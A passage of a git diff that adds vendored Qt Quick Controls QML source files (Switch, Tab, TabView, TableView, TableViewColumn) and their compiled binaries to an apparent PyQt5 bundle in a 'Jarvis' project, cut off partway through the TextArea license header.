+ToggleButtonStyle 1.0 Base/ToggleButtonStyle.qml +TumblerStyle 1.2 Base/TumblerStyle.qml + +designersupported diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Switch.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Switch.qml new file mode 100644 index 00000000..b33f7d00 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Switch.qml @@ -0,0 +1,166 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype Switch + \inqmlmodule QtQuick.Controls + \since 5.2 + \ingroup controls + \brief A switch. + + \image switch.png + \caption On and Off states of a Switch. + + A Switch is a toggle button that can be switched on (checked) or off + (unchecked). Switches are typically used to represent features in an + application that can be enabled or disabled without affecting others. + + On mobile platforms, switches are commonly used to enable or disable + features. + + \qml + Column { + Switch { checked: true } + Switch { checked: false } + } + \endqml + + You can create a custom appearance for a Switch by + assigning a \l {SwitchStyle}. +*/ + +Control { + id: root + + /*! + This property is \c true if the control is checked. + The default value is \c false. + */ + property bool checked: false + + /*! + \qmlproperty bool Switch::pressed + \since QtQuick.Controls 1.3 + + This property is \c true when the control is pressed. + */ + readonly property alias pressed: internal.pressed + + /*! + This property is \c true if the control takes the focus when it is + pressed; \l{QQuickItem::forceActiveFocus()}{forceActiveFocus()} will be + called on the control. + */ + property bool activeFocusOnPress: false + + /*! + This property stores the ExclusiveGroup that the control belongs to. + */ + property ExclusiveGroup exclusiveGroup: null + + /*! + \since QtQuick.Controls 1.3 + + This signal is emitted when the control is clicked. + */ + signal clicked + + Keys.onPressed: { + if (event.key === Qt.Key_Space && !event.isAutoRepeat) + checked = !checked; + } + + /*! \internal */ + onExclusiveGroupChanged: { + if (exclusiveGroup) + exclusiveGroup.bindCheckable(root) + } + + MouseArea { + id: internal + + property Item handle: __panel.__handle + property int min: __panel.min + property int max: __panel.max + focus: true + anchors.fill: parent + drag.threshold: 0 + drag.target: handle + drag.axis: Drag.XAxis + drag.minimumX: min + drag.maximumX: max + + onPressed: { + if (activeFocusOnPress) + root.forceActiveFocus() + } + + onReleased: { + if (drag.active) { + checked = (handle.x < max/2) ? false : true; + internal.handle.x = checked ? internal.max : internal.min + } else { + checked = (handle.x === max) ? false : true + } + } + + onClicked: root.clicked() + } + + onCheckedChanged: { + if (internal.handle) + internal.handle.x = checked ? internal.max : internal.min + } + + activeFocusOnTab: true + Accessible.role: Accessible.CheckBox + Accessible.name: "switch" + + /*! + The style that should be applied to the switch. Custom style + components can be created with: + + \codeline Qt.createComponent("path/to/style.qml", switchId); + */ + style: Settings.styleComponent(Settings.style, "SwitchStyle.qml", root) +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Switch.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Switch.qmlc new file mode 100644 index 00000000..feb134de Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Switch.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Tab.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Tab.qml new file mode 100644 index 00000000..657d389c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Tab.qml @@ -0,0 +1,86 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +/*! + \qmltype Tab + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup viewaddons + \ingroup controls + \brief Tab represents the content of a tab in a TabView. + + A Tab item inherits from Loader and provides a similar + API. + + Tabs are lazily loaded; only tabs that have been made current (for example, + by clicking on them) will have valid content. You can force loading of tabs + by setting the active property to \c true: + + \code + Tab { + active: true + } + \endcode + + \sa TabView +*/ + +Loader { + id: tab + anchors.fill: parent + + /*! This property holds the title of the tab. */ + property string title + + /*! \internal */ + property bool __inserted: false + + Accessible.role: Accessible.LayeredPane + active: false + visible: false + + activeFocusOnTab: false + + onVisibleChanged: if (visible) active = true + + /*! \internal */ + default property alias component: tab.sourceComponent +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Tab.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Tab.qmlc new file mode 100644 index 00000000..f820b75e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Tab.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TabView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TabView.qml new file mode 100644 index 00000000..2579636f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TabView.qml @@ -0,0 +1,329 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype TabView + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup views + \ingroup controls + \brief A control that allows the user to select one of multiple stacked items. + + \image tabview.png + + TabView provides tab-based navigation model for your application. + For example, the following snippet uses tabs to present rectangles of + different color on each tab page: + + \qml + TabView { + Tab { + title: "Red" + Rectangle { color: "red" } + } + Tab { + title: "Blue" + Rectangle { color: "blue" } + } + Tab { + title: "Green" + Rectangle { color: "green" } + } + } + \endqml + + \note You can create a custom appearance for a TabView by + assigning a \l {TabViewStyle}. + + \l Tab represents the content of a tab in a TabView. +*/ + +FocusScope { + id: root + + implicitWidth: 240 + implicitHeight: 150 + + /*! The current tab index */ + property int currentIndex: 0 + + /*! The current tab count */ + readonly property int count: __tabs.count + + /*! The visibility of the tab frame around contents */ + property bool frameVisible: true + + /*! The visibility of the tab bar */ + property bool tabsVisible: true + + /*! + \qmlproperty enumeration TabView::tabPosition + + \list + \li Qt.TopEdge (default) + \li Qt.BottomEdge + \endlist + */ + property int tabPosition: Qt.TopEdge + + /*! + \qmlproperty Item TabView::contentItem + \since QtQuick.Controls 1.3 + + This property holds the content item of the tab view. + + Tabs declared as children of a TabView are automatically parented to the TabView's contentItem. + */ + readonly property alias contentItem: stack + + /*! \internal */ + default property alias data: stack.data + + /*! + \qmlmethod Tab TabView::addTab(string title, Component component) + + Adds a new tab with the given \a title and an optional \a component. + + Returns the newly added tab. + */ + function addTab(title, component) { + return insertTab(__tabs.count, title, component) + } + + /*! + \qmlmethod Tab TabView::insertTab(int index, string title, Component component) + + Inserts a new tab at \a index, with the given \a title and + an optional \a component. + + Returns the newly added tab. + */ + function insertTab(index, title, component) { + var tab = tabcomp.createObject() + tab.sourceComponent = component + tab.title = title + // insert at appropriate index first, then set the parent to + // avoid onChildrenChanged appending it to the end of the list + __tabs.insert(index, {tab: tab}) + tab.__inserted = true + tab.parent = stack + __didInsertIndex(index) + __setOpacities() + return tab + } + + /*! \qmlmethod void TabView::removeTab(int index) + Removes and destroys a tab at the given \a index. */ + function removeTab(index) { + var tab = __tabs.get(index).tab + __willRemoveIndex(index) + __tabs.remove(index, 1) + tab.destroy() + __setOpacities() + } + + /*! \qmlmethod void TabView::moveTab(int from, int to) + Moves a tab \a from index \a to another. */ + function moveTab(from, to) { + __tabs.move(from, to, 1) + + if (currentIndex == from) { + currentIndex = to + } else { + var start = Math.min(from, to) + var end = Math.max(from, to) + if (currentIndex >= start && currentIndex <= end) { + if (from < to) + --currentIndex + else + ++currentIndex + } + } + } + + /*! \qmlmethod Tab TabView::getTab(int index) + Returns the \l Tab item at \a index. */ + function getTab(index) { + var data = __tabs.get(index) + return data && data.tab + } + + /*! \internal */ + property ListModel __tabs: ListModel { } + + /*! \internal */ + property Component style: Settings.styleComponent(Settings.style, "TabViewStyle.qml", root) + + /*! \internal */ + property var __styleItem: loader.item + + onCurrentIndexChanged: __setOpacities() + + /*! \internal */ + function __willRemoveIndex(index) { + // Make sure currentIndex will points to the same tab after the removal. + // Also activate the next index if the current index is being removed, + // except when it's both the current and last index. + if (count > 1 && (currentIndex > index || currentIndex == count -1)) + --currentIndex + } + function __didInsertIndex(index) { + // Make sure currentIndex points to the same tab as before the insertion. + if (count > 1 && currentIndex >= index) + currentIndex++ + } + + function __setOpacities() { + for (var i = 0; i < __tabs.count; ++i) { + var child = __tabs.get(i).tab + child.visible = (i == currentIndex ? true : false) + } + } + + activeFocusOnTab: false + + Component { + id: tabcomp + Tab {} + } + + TabBar { + id: tabbarItem + objectName: "tabbar" + tabView: root + style: loader.item + anchors.top: parent.top + anchors.left: root.left + anchors.right: root.right + } + + Loader { + id: loader + z: tabbarItem.z - 1 + sourceComponent: style + property var __control: root + } + + Loader { + id: frameLoader + z: tabbarItem.z - 1 + + anchors.fill: parent + anchors.topMargin: tabPosition === Qt.TopEdge && tabbarItem && tabsVisible ? Math.max(0, tabbarItem.height - baseOverlap) : 0 + anchors.bottomMargin: tabPosition === Qt.BottomEdge && tabbarItem && tabsVisible ? Math.max(0, tabbarItem.height -baseOverlap) : 0 + sourceComponent: frameVisible && loader.item ? loader.item.frame : null + + property int baseOverlap: __styleItem ? __styleItem.frameOverlap : 0 + + Item { + id: stack + + anchors.fill: parent + anchors.margins: (frameVisible ? frameWidth : 0) + anchors.topMargin: anchors.margins + (style =="mac" ? 6 : 0) + anchors.bottomMargin: anchors.margins + + property int frameWidth + property string style + property bool completed: false + + Component.onCompleted: { + addTabs(stack.children) + completed = true + } + + onChildrenChanged: { + if (completed) + stack.addTabs(stack.children) + } + + function addTabs(tabs) { + var tabAdded = false + for (var i = 0 ; i < tabs.length ; ++i) { + var tab = tabs[i] + if (!tab.__inserted && tab.Accessible.role === Accessible.LayeredPane) { + tab.__inserted = true + // reparent tabs created dynamically by createObject(tabView) + tab.parent = stack + // a dynamically added tab should also get automatically removed when destructed + if (completed) + tab.Component.onDestruction.connect(stack.onDynamicTabDestroyed.bind(tab)) + __tabs.append({tab: tab}) + tabAdded = true + } + } + if (tabAdded) + __setOpacities() + } + + function onDynamicTabDestroyed() { + for (var i = 0; i < __tabs.count; ++i) { + if (__tabs.get(i).tab === this) { + __willRemoveIndex(i) + __tabs.remove(i, 1) + __setOpacities() + break + } + } + } + } + onLoaded: { item.z = -1 } + } + + onChildrenChanged: stack.addTabs(root.children) + + states: [ + State { + name: "Bottom" + when: tabPosition === Qt.BottomEdge && tabbarItem != undefined + PropertyChanges { + target: tabbarItem + anchors.topMargin: -frameLoader.baseOverlap + } + AnchorChanges { + target: tabbarItem + anchors.top: frameLoader.bottom + } + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TabView.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TabView.qmlc new file mode 100644 index 00000000..d74d7b65 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TabView.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableView.qml new file mode 100644 index 00000000..1dbdafd7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableView.qml @@ -0,0 +1,319 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.3 +import QtQuick.Controls.Private 1.0 +import QtQuick.Controls.Styles 1.1 +import QtQuick.Window 2.1 + +BasicTableView { + id: root + + property var model + + readonly property int rowCount: __listView.count + property alias currentRow: root.__currentRow + + signal activated(int row) + signal clicked(int row) + signal doubleClicked(int row) + signal pressAndHold(int row) + + function positionViewAtRow(row, mode) { + __listView.positionViewAtIndex(row, mode) + } + + function rowAt(x, y) { + var obj = root.mapToItem(__listView.contentItem, x, y) + return __listView.indexAt(obj.x, obj.y) + } + + readonly property alias selection: selectionObject + + style: Settings.styleComponent(Settings.style, "TableViewStyle.qml", root) + + Accessible.role: Accessible.Table + + // Internal stuff. Do not look + + onModelChanged: selection.clear() + + __viewTypeName: "TableView" + __model: model + + __itemDelegateLoader: TableViewItemDelegateLoader { + __style: root.__style + __itemDelegate: root.itemDelegate + __mouseArea: mousearea + } + + __mouseArea: MouseArea { + id: mousearea + + parent: __listView + width: __listView.width + height: __listView.height + z: -1 + propagateComposedEvents: true + focus: true + + property bool autoincrement: false + property bool autodecrement: false + property int previousRow: 0 + property int clickedRow: -1 + property int dragRow: -1 + property int firstKeyRow: -1 + property int pressedRow: -1 + property int pressedColumn: -1 + + TableViewSelection { + id: selectionObject + } + + function selected(rowIndex) { + if (dragRow > -1 && (rowIndex >= clickedRow && rowIndex <= dragRow + || rowIndex <= clickedRow && rowIndex >= dragRow)) + return selection.contains(clickedRow) + + return selection.count && selection.contains(rowIndex) + } + + onReleased: { + pressedRow = -1 + pressedColumn = -1 + autoincrement = false + autodecrement = false + var clickIndex = __listView.indexAt(0, mouseY + __listView.contentY) + if (clickIndex > -1) { + if (Settings.hasTouchScreen) { + __listView.currentIndex = clickIndex + mouseSelect(clickIndex, mouse.modifiers) + } + previousRow = clickIndex + } + + if (mousearea.dragRow >= 0) { + selection.__select(selection.contains(mousearea.clickedRow), mousearea.clickedRow, mousearea.dragRow) + mousearea.dragRow = -1 + } + } + + function decrementCurrentIndex() { + __listView.decrementCurrentIndexBlocking(); + + var newIndex = __listView.indexAt(0, __listView.contentY) + if (newIndex !== -1) { + if (selectionMode > SelectionMode.SingleSelection) + mousearea.dragRow = newIndex + else if (selectionMode === SelectionMode.SingleSelection) + selection.__selectOne(newIndex) + } + } + + function incrementCurrentIndex() { + __listView.incrementCurrentIndexBlocking(); + + var newIndex = Math.max(0, __listView.indexAt(0, __listView.height + __listView.contentY)) + if (newIndex !== -1) { + if (selectionMode > SelectionMode.SingleSelection) + mousearea.dragRow = newIndex + else if (selectionMode === SelectionMode.SingleSelection) + selection.__selectOne(newIndex) + } + } + + // Handle vertical scrolling whem dragging mouse outside boundraries + Timer { + running: mousearea.autoincrement && __verticalScrollBar.visible + repeat: true + interval: 20 + onTriggered: mousearea.incrementCurrentIndex() + } + + Timer { + running: mousearea.autodecrement && __verticalScrollBar.visible + repeat: true + interval: 20 + onTriggered: mousearea.decrementCurrentIndex() + } + + onPositionChanged: { + if (mouseY > __listView.height && pressed) { + if (autoincrement) return; + autodecrement = false; + autoincrement = true; + } else if (mouseY < 0 && pressed) { + if (autodecrement) return; + autoincrement = false; + autodecrement = true; + } else { + autoincrement = false; + autodecrement = false; + } + + if (pressed && containsMouse) { + pressedRow = Math.max(0, __listView.indexAt(0, mouseY + __listView.contentY)) + pressedColumn = __listView.columnAt(mouseX) + if (!Settings.hasTouchScreen) { + if (pressedRow >= 0 && pressedRow !== currentRow) { + __listView.currentIndex = pressedRow; + if (selectionMode === SelectionMode.SingleSelection) { + selection.__selectOne(pressedRow) + } else if (selectionMode > 1) { + dragRow = pressedRow + } + } + } + } + } + + onClicked: { + var clickIndex = __listView.indexAt(0, mouseY + __listView.contentY) + if (clickIndex > -1) { + if (root.__activateItemOnSingleClick) + root.activated(clickIndex) + root.clicked(clickIndex) + } + } + + onPressed: { + pressedRow = __listView.indexAt(0, mouseY + __listView.contentY) + pressedColumn = __listView.columnAt(mouseX) + __listView.forceActiveFocus() + if (pressedRow > -1 && !Settings.hasTouchScreen) { + __listView.currentIndex = pressedRow + mouseSelect(pressedRow, mouse.modifiers) + mousearea.clickedRow = pressedRow + } + } + + onExited: { + mousearea.pressedRow = -1 + mousearea.pressedColumn = -1 + } + + onCanceled: { + mousearea.pressedRow = -1 + mousearea.pressedColumn = -1 + } + + function mouseSelect(index, modifiers) { + if (selectionMode) { + if (modifiers & Qt.ShiftModifier && (selectionMode === SelectionMode.ExtendedSelection)) { + selection.select(previousRow, index) + } else if (selectionMode === SelectionMode.MultiSelection || + (selectionMode === SelectionMode.ExtendedSelection && modifiers & Qt.ControlModifier)) { + selection.__select(!selection.contains(index) , index) + } else { + selection.__selectOne(index) + } + } + } + + onDoubleClicked: { + var clickIndex = __listView.indexAt(0, mouseY + __listView.contentY) + if (clickIndex > -1) { + if (!root.__activateItemOnSingleClick) + root.activated(clickIndex) + root.doubleClicked(clickIndex) + } + } + + onPressAndHold: { + var pressIndex = __listView.indexAt(0, mouseY + __listView.contentY) + if (pressIndex > -1) + root.pressAndHold(pressIndex) + } + + // Note: with boolean preventStealing we are keeping the flickable from + // eating our mouse press events + preventStealing: !Settings.hasTouchScreen + + function keySelect(shiftPressed, row) { + if (row < 0 || row > rowCount - 1) + return + if (shiftPressed && (selectionMode >= SelectionMode.ExtendedSelection)) { + selection.__ranges = new Array() + selection.select(mousearea.firstKeyRow, row) + } else { + selection.__selectOne(row) + } + } + + Keys.forwardTo: [root] + + Keys.onUpPressed: { + event.accepted = __listView.decrementCurrentIndexBlocking() + if (selectionMode) + keySelect(event.modifiers & Qt.ShiftModifier, currentRow) + } + + Keys.onDownPressed: { + event.accepted = __listView.incrementCurrentIndexBlocking() + if (selectionMode) + keySelect(event.modifiers & Qt.ShiftModifier, currentRow) + } + + Keys.onPressed: { + __listView.scrollIfNeeded(event.key) + + if (event.key === Qt.Key_Shift) { + firstKeyRow = currentRow + } + + if (event.key === Qt.Key_A && event.modifiers & Qt.ControlModifier) { + if (selectionMode > 1) + selection.selectAll() + } + } + + Keys.onReleased: { + if (event.key === Qt.Key_Shift) + firstKeyRow = -1 + } + + Keys.onReturnPressed: { + if (currentRow > -1) + root.activated(currentRow); + else + event.accepted = false + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableView.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableView.qmlc new file mode 100644 index 00000000..2d88a64e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableView.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableViewColumn.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableViewColumn.qml new file mode 100644 index 00000000..9fa05b3d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableViewColumn.qml @@ -0,0 +1,173 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +/*! + \qmltype TableViewColumn + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup viewitems + \ingroup controls + \brief Used to define columns in a \l TableView or in a \l TreeView. + + \image tableview.png + + TableViewColumn represents a column within a TableView or a TreeView. It provides + properties to decide how the data in that column is presented. + + \qml + TableView { + TableViewColumn { role: "title"; title: "Title"; width: 100 } + TableViewColumn { role: "author"; title: "Author"; width: 200 } + model: libraryModel + } + \endqml + + \sa TableView, TreeView +*/ + +QtObject { + + /*! \internal */ + property Item __view: null + + /*! \internal */ + property int __index: -1 + + /*! The title text of the column. */ + property string title + + /*! The model \c role of the column. */ + property string role + + /*! The current width of the column. + The default value depends on platform. If only one + column is defined, the width expands to the viewport. + */ + property int width: (__view && __view.columnCount === 1) ? __view.viewport.width : 160 + + /*! The visible status of the column. */ + property bool visible: true + + /*! Determines if the column should be resizable. + \since QtQuick.Controls 1.1 */ + property bool resizable: true + + /*! Determines if the column should be movable. + The default value is \c true. + \note A non-movable column may get indirectly moved if adjacent columns are movable. + \since QtQuick.Controls 1.1 */ + property bool movable: true + + /*! \qmlproperty enumeration TableViewColumn::elideMode + The text elide mode of the column. + Allowed values are: + \list + \li Text.ElideNone + \li Text.ElideLeft + \li Text.ElideMiddle + \li Text.ElideRight - the default + \endlist + \sa {Text::elide}{elide} */ + property int elideMode: Text.ElideRight + + /*! \qmlproperty enumeration TableViewColumn::horizontalAlignment + The horizontal text alignment of the column. + Allowed values are: + \list + \li Text.AlignLeft - the default + \li Text.AlignRight + \li Text.AlignHCenter + \li Text.AlignJustify + \endlist + \sa {Text::horizontalAlignment}{horizontalAlignment} */ + property int horizontalAlignment: Text.AlignLeft + + /*! The delegate of the column. This can be used to set the itemDelagate + of a \l TableView or \l TreeView for a specific column. + + In the delegate you have access to the following special properties: + \list + \li styleData.selected - if the item is currently selected + \li styleData.value - the value or text for this item + \li styleData.textColor - the default text color for an item + \li styleData.row - the index of the row + \li styleData.column - the index of the column + \li styleData.elideMode - the elide mode of the column + \li styleData.textAlignment - the horizontal text alignment of the column + \endlist + */ + property Component delegate + + property int accessibleRole: Accessible.ColumnHeader + + /*! \qmlmethod void TableViewColumn::resizeToContents() + Resizes the column so that the implicitWidth of the contents on every row will fit. + \since QtQuick.Controls 1.2 */ + function resizeToContents() { + var minWidth = 0 + var listdata = __view.__listView.children[0] + for (var i = 0; __index === -1 && i < __view.__columns.length; ++i) { + if (__view.__columns[i] === this) + __index = i + } + // ### HACK We don't have direct access to the instantiated item, + // so we go spelunking. Each 'item' variable check is annotated + // with the expected object it should point to in BasicTableView. + for (var row = 0 ; row < listdata.children.length ; ++row) { + var item = listdata.children[row] ? listdata.children[row].rowItem : undefined + if (item) { // FocusScope { id: rowitem } + item = item.children[1] + if (item) { // Row { id: itemrow } + item = item.children[__index] + if (item) { // Repeater.delegate a.k.a. __view.__itemDelegateLoader + var indent = __view.__isTreeView && __index === 0 ? item.__itemIndentation : 0 + item = item.item + if (item && item.hasOwnProperty("implicitWidth")) { + minWidth = Math.max(minWidth, item.implicitWidth + indent) + } + } + } + } + } + if (minWidth) + width = minWidth + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableViewColumn.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableViewColumn.qmlc new file mode 100644 index 00000000..3f5bb3bf Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TableViewColumn.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextArea.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextArea.qml new file mode 100644 index 00000000..d289780e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextArea.qml @@ -0,0 +1,978 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file 